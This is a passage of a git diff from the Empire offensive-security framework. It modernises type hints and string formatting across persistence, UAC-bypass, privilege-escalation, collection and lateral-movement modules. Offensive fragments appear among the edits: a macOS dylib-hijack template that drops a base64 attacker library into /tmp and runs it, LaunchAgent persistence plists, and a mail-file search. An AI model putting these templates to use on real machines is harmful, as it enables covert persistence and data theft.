empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/management/spawnas.py b/empire/server/modules/powershell/management/spawnas.py index 91b4495df..037d821f9 100644 --- a/empire/server/modules/powershell/management/spawnas.py +++ b/empire/server/modules/powershell/management/spawnas.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.db.models import Credential from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -10,7 +8,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/management/switch_listener.py b/empire/server/modules/powershell/management/switch_listener.py index ced10f8f6..325daaa02 100644 --- a/empire/server/modules/powershell/management/switch_listener.py +++ b/empire/server/modules/powershell/management/switch_listener.py @@ -1,5 +1,3 @@ -from typing import Dict, Optional, Tuple - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,10 +7,10 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", - ) -> Tuple[Optional[str], Optional[str]]: + ) -> tuple[str | None, str | None]: # extract all of our options listener_name = params["Listener"] diff --git a/empire/server/modules/powershell/management/user_to_sid.py b/empire/server/modules/powershell/management/user_to_sid.py index 57f49e51e..f8d69096e 100644 --- a/empire/server/modules/powershell/management/user_to_sid.py +++ b/empire/server/modules/powershell/management/user_to_sid.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule @@ -8,7 +6,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/persistence/elevated/registry.py b/empire/server/modules/powershell/persistence/elevated/registry.py index c508e917d..59e537eae 100644 --- a/empire/server/modules/powershell/persistence/elevated/registry.py +++ b/empire/server/modules/powershell/persistence/elevated/registry.py @@ -1,5 +1,4 @@ import os -from typing import Dict from empire.server.common import helpers from empire.server.core.module_models import EmpireModule @@ -11,7 +10,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/persistence/elevated/schtasks.py b/empire/server/modules/powershell/persistence/elevated/schtasks.py index 329d503f0..a5f8da0ef 100644 --- a/empire/server/modules/powershell/persistence/elevated/schtasks.py +++ b/empire/server/modules/powershell/persistence/elevated/schtasks.py @@ -1,5 +1,4 @@ import os -from typing import Dict from empire.server.common import helpers from empire.server.core.module_models import EmpireModule @@ -11,7 +10,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/persistence/elevated/wmi.py b/empire/server/modules/powershell/persistence/elevated/wmi.py index d58be8cbd..ae9815df1 100644 --- a/empire/server/modules/powershell/persistence/elevated/wmi.py +++ b/empire/server/modules/powershell/persistence/elevated/wmi.py @@ -1,5 +1,4 @@ import os -from typing import Dict from empire.server.common import helpers from empire.server.common.empire import MainMenu @@ -12,7 +11,7 @@ class Module: def generate( main_menu: MainMenu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/persistence/elevated/wmi_updater.py b/empire/server/modules/powershell/persistence/elevated/wmi_updater.py index 1b9ccf444..839c3a8bb 100644 --- a/empire/server/modules/powershell/persistence/elevated/wmi_updater.py +++ b/empire/server/modules/powershell/persistence/elevated/wmi_updater.py @@ -1,5 +1,4 @@ import os -from typing import Dict from empire.server.common import helpers from empire.server.core.module_models import EmpireModule @@ -11,7 +10,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/persistence/misc/add_sid_history.py b/empire/server/modules/powershell/persistence/misc/add_sid_history.py index 3ba078112..bdb35d9d8 100644 --- a/empire/server/modules/powershell/persistence/misc/add_sid_history.py +++ b/empire/server/modules/powershell/persistence/misc/add_sid_history.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/persistence/misc/debugger.py b/empire/server/modules/powershell/persistence/misc/debugger.py index ba8166d10..89a164588 100644 --- a/empire/server/modules/powershell/persistence/misc/debugger.py +++ b/empire/server/modules/powershell/persistence/misc/debugger.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/persistence/powerbreach/deaduser.py b/empire/server/modules/powershell/persistence/powerbreach/deaduser.py index dd99753d7..9b7d302fe 100644 --- a/empire/server/modules/powershell/persistence/powerbreach/deaduser.py +++ b/empire/server/modules/powershell/persistence/powerbreach/deaduser.py @@ -1,5 +1,4 @@ import os -from typing import Dict from empire.server.common import helpers from empire.server.core.module_models import EmpireModule @@ -11,7 +10,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/persistence/powerbreach/eventlog.py b/empire/server/modules/powershell/persistence/powerbreach/eventlog.py index 74f981792..d5d1ba180 100644 --- a/empire/server/modules/powershell/persistence/powerbreach/eventlog.py +++ b/empire/server/modules/powershell/persistence/powerbreach/eventlog.py @@ -1,5 +1,4 @@ import os -from typing import Dict from empire.server.common import helpers from empire.server.core.module_models import EmpireModule @@ -11,7 +10,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/persistence/powerbreach/resolver.py b/empire/server/modules/powershell/persistence/powerbreach/resolver.py index 3266d9159..82d751cf5 100644 --- a/empire/server/modules/powershell/persistence/powerbreach/resolver.py +++ b/empire/server/modules/powershell/persistence/powerbreach/resolver.py @@ -1,5 +1,4 @@ import os -from typing import Dict from empire.server.common import helpers from empire.server.core.module_models import EmpireModule @@ -11,7 +10,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py b/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py index ba3a4e13c..4d7e850be 100644 --- a/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py +++ b/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py @@ -1,5 +1,4 @@ import os -from typing import Dict from empire.server.common import helpers from empire.server.core.module_models import EmpireModule @@ -11,7 +10,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/persistence/userland/registry.py b/empire/server/modules/powershell/persistence/userland/registry.py index 3063753e3..872940de7 100644 --- a/empire/server/modules/powershell/persistence/userland/registry.py +++ b/empire/server/modules/powershell/persistence/userland/registry.py @@ -1,5 +1,4 @@ import os -from typing import Dict from empire.server.common import helpers from empire.server.core.module_models import EmpireModule @@ -11,7 +10,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/persistence/userland/schtasks.py b/empire/server/modules/powershell/persistence/userland/schtasks.py index a70da8a60..f3010b2ec 100644 --- a/empire/server/modules/powershell/persistence/userland/schtasks.py +++ b/empire/server/modules/powershell/persistence/userland/schtasks.py @@ -1,5 +1,4 @@ import os -from typing import Dict from empire.server.common import helpers from empire.server.core.module_models import EmpireModule @@ -11,7 +10,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/privesc/ask.py b/empire/server/modules/powershell/privesc/ask.py index 9be6680f2..65bd9cd40 100644 --- a/empire/server/modules/powershell/privesc/ask.py +++ b/empire/server/modules/powershell/privesc/ask.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/privesc/bypassuac.py b/empire/server/modules/powershell/privesc/bypassuac.py index 04577b89f..63e84c0b1 100644 --- a/empire/server/modules/powershell/privesc/bypassuac.py +++ b/empire/server/modules/powershell/privesc/bypassuac.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/privesc/bypassuac_env.py b/empire/server/modules/powershell/privesc/bypassuac_env.py index 504b2b79f..88d9ac864 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_env.py +++ b/empire/server/modules/powershell/privesc/bypassuac_env.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py b/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py index e152c62f8..d6d1a863d 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py +++ b/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py b/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py index 06e22d057..b7175b83f 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py +++ b/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py b/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py index 0166fef9d..5ad43b4d4 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py +++ b/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py b/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py index a76d620a6..93f67fedb 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py +++ b/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py @@ -1,6 +1,5 @@ import base64 import re -from typing import Dict from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -11,7 +10,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/privesc/bypassuac_wscript.py b/empire/server/modules/powershell/privesc/bypassuac_wscript.py index 79ab2d6c1..a746ccf76 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_wscript.py +++ b/empire/server/modules/powershell/privesc/bypassuac_wscript.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/privesc/ms16-032.py b/empire/server/modules/powershell/privesc/ms16-032.py index 40245af3f..8a99470e6 100644 --- a/empire/server/modules/powershell/privesc/ms16-032.py +++ b/empire/server/modules/powershell/privesc/ms16-032.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/privesc/ms16-135.py b/empire/server/modules/powershell/privesc/ms16-135.py index f5c55305f..644d7cd9c 100644 --- a/empire/server/modules/powershell/privesc/ms16-135.py +++ b/empire/server/modules/powershell/privesc/ms16-135.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py b/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py index e38d765dc..a814d510b 100644 --- a/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py +++ b/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/privesc/powerup/service_stager.py b/empire/server/modules/powershell/privesc/powerup/service_stager.py index 79ee2ae54..035fbd302 100644 --- a/empire/server/modules/powershell/privesc/powerup/service_stager.py +++ b/empire/server/modules/powershell/privesc/powerup/service_stager.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py b/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py index 080c9aec5..71980550a 100644 --- a/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py +++ b/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/recon/fetch_brute_local.py b/empire/server/modules/powershell/recon/fetch_brute_local.py index d59fdb868..c2b106b60 100644 --- a/empire/server/modules/powershell/recon/fetch_brute_local.py +++ b/empire/server/modules/powershell/recon/fetch_brute_local.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/recon/find_fruit.py b/empire/server/modules/powershell/recon/find_fruit.py index e6498ee4b..a0e08dd49 100644 --- a/empire/server/modules/powershell/recon/find_fruit.py +++ b/empire/server/modules/powershell/recon/find_fruit.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.py b/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.py index fa06e89bc..5d135dec0 100644 --- a/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.py +++ b/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule @@ -8,7 +6,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/situational_awareness/host/computerdetails.py b/empire/server/modules/powershell/situational_awareness/host/computerdetails.py index feaee59fa..326d3705d 100644 --- a/empire/server/modules/powershell/situational_awareness/host/computerdetails.py +++ b/empire/server/modules/powershell/situational_awareness/host/computerdetails.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.py b/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.py index a93668f3c..ded23c1e8 100644 --- a/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.py +++ b/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule @@ -8,7 +6,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py b/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py index 859fce0ff..6fea42f4f 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py @@ -1,5 +1,4 @@ import pathlib -from typing import Dict from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule @@ -11,7 +10,7 @@ class Module: def generate( main_menu: MainMenu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.py b/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.py index 83772a905..a72900158 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.py +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.py @@ -1,5 +1,4 @@ import pathlib -from typing import Dict from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule @@ -11,7 +10,7 @@ class Module: def generate( main_menu: MainMenu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/powershell_template.py b/empire/server/modules/powershell_template.py index 8971e82f9..82e3268af 100644 --- a/empire/server/modules/powershell_template.py +++ b/empire/server/modules/powershell_template.py @@ -1,5 +1,3 @@ -from typing import Dict, Optional, Tuple - from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -16,10 +14,10 @@ class Module: def generate( main_menu: MainMenu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", - ) -> Tuple[Optional[str], Optional[str]]: + ) -> tuple[str | None, str | None]: # Step 1: Get the module source code # The script should be stripped of comments, with a link to any # original reference script included in the comments. diff --git a/empire/server/modules/python/collection/osx/imessage_dump.py b/empire/server/modules/python/collection/osx/imessage_dump.py index b65ddd0eb..27fed2c73 100644 --- a/empire/server/modules/python/collection/osx/imessage_dump.py +++ b/empire/server/modules/python/collection/osx/imessage_dump.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule @@ -8,7 +6,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/python/collection/osx/native_screenshot_mss.py b/empire/server/modules/python/collection/osx/native_screenshot_mss.py index 4ba13cb99..141cdaf85 100644 --- a/empire/server/modules/python/collection/osx/native_screenshot_mss.py +++ b/empire/server/modules/python/collection/osx/native_screenshot_mss.py @@ -1,5 +1,4 @@ import base64 -from typing import Dict, Optional, Tuple from empire.server.core.module_models import EmpireModule @@ -9,10 +8,10 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", - ) -> Tuple[Optional[str], Optional[str]]: + ) -> tuple[str | None, str | None]: path = main_menu.installPath + "/data/misc/python_modules/mss.zip" open_file = open(path, "rb") module_data = open_file.read() diff --git a/empire/server/modules/python/collection/osx/prompt.py b/empire/server/modules/python/collection/osx/prompt.py index fa8a71ffd..583991fda 100644 --- a/empire/server/modules/python/collection/osx/prompt.py +++ b/empire/server/modules/python/collection/osx/prompt.py @@ -1,5 +1,3 @@ -from typing import Dict, Optional, Tuple - from empire.server.core.module_models import EmpireModule @@ -8,10 +6,10 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", - ) -> Tuple[Optional[str], Optional[str]]: + ) -> tuple[str | None, str | None]: listApps = params["ListApps"] appName = params["AppName"] sandboxMode = params["SandboxMode"] diff --git a/empire/server/modules/python/collection/osx/search_email.py b/empire/server/modules/python/collection/osx/search_email.py index 6aef3f2e0..7d25ce788 100644 --- a/empire/server/modules/python/collection/osx/search_email.py +++ b/empire/server/modules/python/collection/osx/search_email.py @@ -1,5 +1,3 @@ -from typing import Dict, Optional, Tuple - from empire.server.core.module_models import EmpireModule @@ -8,10 +6,10 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", - ) -> Tuple[Optional[str], Optional[str]]: + ) -> tuple[str | None, str | None]: searchTerm = params["SearchTerm"] script = 'cmd = "find /Users/ -name *.emlx 2>/dev/null' diff --git a/empire/server/modules/python/collection/osx/sniffer.py b/empire/server/modules/python/collection/osx/sniffer.py index 8b03bad87..f1bf291bb 100644 --- a/empire/server/modules/python/collection/osx/sniffer.py +++ b/empire/server/modules/python/collection/osx/sniffer.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule @@ -8,7 +6,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ) -> str: diff --git a/empire/server/modules/python/lateral_movement/multi/ssh_launcher.py b/empire/server/modules/python/lateral_movement/multi/ssh_launcher.py index 8fc499bca..c798a4124 100644 --- a/empire/server/modules/python/lateral_movement/multi/ssh_launcher.py +++ b/empire/server/modules/python/lateral_movement/multi/ssh_launcher.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/python/management/multi/spawn.py b/empire/server/modules/python/management/multi/spawn.py index 84fe2e23f..44fcf37dd 100644 --- a/empire/server/modules/python/management/multi/spawn.py +++ b/empire/server/modules/python/management/multi/spawn.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/python/management/osx/shellcodeinject64.py b/empire/server/modules/python/management/osx/shellcodeinject64.py index 39ab0b60a..47e60d410 100644 --- a/empire/server/modules/python/management/osx/shellcodeinject64.py +++ b/empire/server/modules/python/management/osx/shellcodeinject64.py @@ -1,6 +1,5 @@ import base64 import os -from typing import Dict from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -11,7 +10,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/python/persistence/multi/desktopfile.py b/empire/server/modules/python/persistence/multi/desktopfile.py index f8d2c7b15..47dc2ba5a 100644 --- a/empire/server/modules/python/persistence/multi/desktopfile.py +++ b/empire/server/modules/python/persistence/multi/desktopfile.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.string_util import removeprefix, removesuffix @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/python/persistence/osx/CreateHijacker.py b/empire/server/modules/python/persistence/osx/CreateHijacker.py index b099c273b..9a85833c1 100644 --- a/empire/server/modules/python/persistence/osx/CreateHijacker.py +++ b/empire/server/modules/python/persistence/osx/CreateHijacker.py @@ -1,5 +1,4 @@ import base64 -from typing import Dict, Optional, Tuple from empire.server.core.module_models import EmpireModule from empire.server.utils.string_util import removeprefix, removesuffix @@ -10,10 +9,10 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", - ) -> Tuple[Optional[str], Optional[str]]: + ) -> tuple[str | None, str | None]: # the Python script itself, with the command to invoke # for execution appended to the end. Scripts should output # everything to the pipeline for proper parsing. @@ -41,7 +40,7 @@ def generate( dylib = params["LegitimateDylibPath"] vrpath = params["VulnerableRPATH"] - script = """ + script = f""" from ctypes import * def run(attackerDYLIB): @@ -414,9 +413,9 @@ def configure(attackerDYLIB, targetDYLIB): #target .dylib - targetDYLIB = "{}" + targetDYLIB = "{dylib}" - vrpath = "{}" + vrpath = "{vrpath}" #configured .dylib @@ -467,7 +466,7 @@ def configure(attackerDYLIB, targetDYLIB): import base64 import uuid -encbytes = "{}" +encbytes = "{encoded_dylib}" filename = str(uuid.uuid4()) path = "/tmp/" + filename + ".dylib" decodedDylib = base64.b64decode(encbytes) @@ -475,10 +474,6 @@ def configure(attackerDYLIB, targetDYLIB): temp.write(decodedDylib) temp.close() run(path) -""".format( - dylib, - vrpath, - encoded_dylib, - ) +""" return script diff --git a/empire/server/modules/python/persistence/osx/LaunchAgent.py b/empire/server/modules/python/persistence/osx/LaunchAgent.py index 5dceb51eb..e1822a8c7 100644 --- a/empire/server/modules/python/persistence/osx/LaunchAgent.py +++ b/empire/server/modules/python/persistence/osx/LaunchAgent.py @@ -1,5 +1,4 @@ import base64 -from typing import Dict, Optional, Tuple from empire.server.core.module_models import EmpireModule from empire.server.utils.string_util import removeprefix, removesuffix @@ -10,10 +9,10 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", - ) -> Tuple[Optional[str], Optional[str]]: + ) -> tuple[str | None, str | None]: daemon_name = params["DaemonName"] program_name = daemon_name.split(".")[-1] plist_filename = "%s.plist" % daemon_name diff --git a/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py b/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py index ebee9c1ca..fbaf9963c 100644 --- a/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py +++ b/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py @@ -1,5 +1,3 @@ -from typing import Dict, Optional, Tuple - from empire.server.core.module_models import EmpireModule from empire.server.utils.string_util import removeprefix, removesuffix @@ -9,10 +7,10 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", - ) -> Tuple[Optional[str], Optional[str]]: + ) -> tuple[str | None, str | None]: plist_name = params["PLISTName"] listener_name = params["Listener"] user_agent = params["UserAgent"] @@ -27,26 +25,23 @@ def generate( launcher = removesuffix(launcher, " | python3 &") launcher = launcher.strip('"') - plistSettings = """ + plistSettings = f""" Label -{} +{plist_name} ProgramArguments python -c -{} +{launcher} RunAtLoad -""".format( - plist_name, - launcher, - ) +""" script = f""" import subprocess diff --git a/empire/server/modules/python/persistence/osx/loginhook.py b/empire/server/modules/python/persistence/osx/loginhook.py index e55b7f569..8ddef1b62 100644 --- a/empire/server/modules/python/persistence/osx/loginhook.py +++ b/empire/server/modules/python/persistence/osx/loginhook.py @@ -1,5 +1,3 @@ -from typing import Dict, Optional, Tuple - from empire.server.core.module_models import EmpireModule @@ -8,10 +6,10 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", - ) -> Tuple[Optional[str], Optional[str]]: + ) -> tuple[str | None, str | None]: loginhook_script_path = params["LoginHookScript"] password = params["Password"] password = password.replace("$", r"\$") diff --git a/empire/server/modules/python/persistence/osx/mail.py b/empire/server/modules/python/persistence/osx/mail.py index 26e56c159..b94795c90 100644 --- 